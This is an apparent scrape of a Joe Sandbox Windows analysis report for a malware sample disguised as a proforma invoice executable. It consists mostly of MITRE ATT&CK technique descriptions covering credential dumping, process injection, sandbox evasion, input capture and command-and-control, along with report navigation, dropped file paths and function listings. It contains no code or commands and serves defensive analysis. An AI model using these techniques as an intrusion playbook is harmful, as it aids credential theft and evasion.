Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report PROFORMA INVOICE BKS-0121-24-25-JP240604.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\aut246B.tmp

C:\Users\user\AppData\Local\Temp\gobioid

C:\Users\user\AppData\Local\Temp\x--942kI

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Windows Analysis Report
PROFORMA INVOICE BKS-0121-24-25-JP240604.exe

Function 004242DE Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 235
libraryloaderCOMMON

Function 004242A2 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61
COMMON

Function 00462BA5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62
COMMON

Function 00422CD4 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 53
windowregistryCOMMON

Function 0046065B Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 272
COMMONLIBRARYCODE

Function 0042344D Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 201
registryCOMMON

Function 00422B83 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 63
windowregistryCOMMON

Function 00423170 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 145
windowtimeregistryCOMMON

Function 017625C0 Relevance: 10.7, APIs: 7, Instructions: 239
fileCOMMON

Function 00422C63 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44
COMMON

Function 017623B0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 137
fileCOMMON

Function 00492947 Relevance: 7.8, APIs: 5, Instructions: 313
fileCOMMON

Function 00455AA9 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 186
COMMONLIBRARYCODE

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre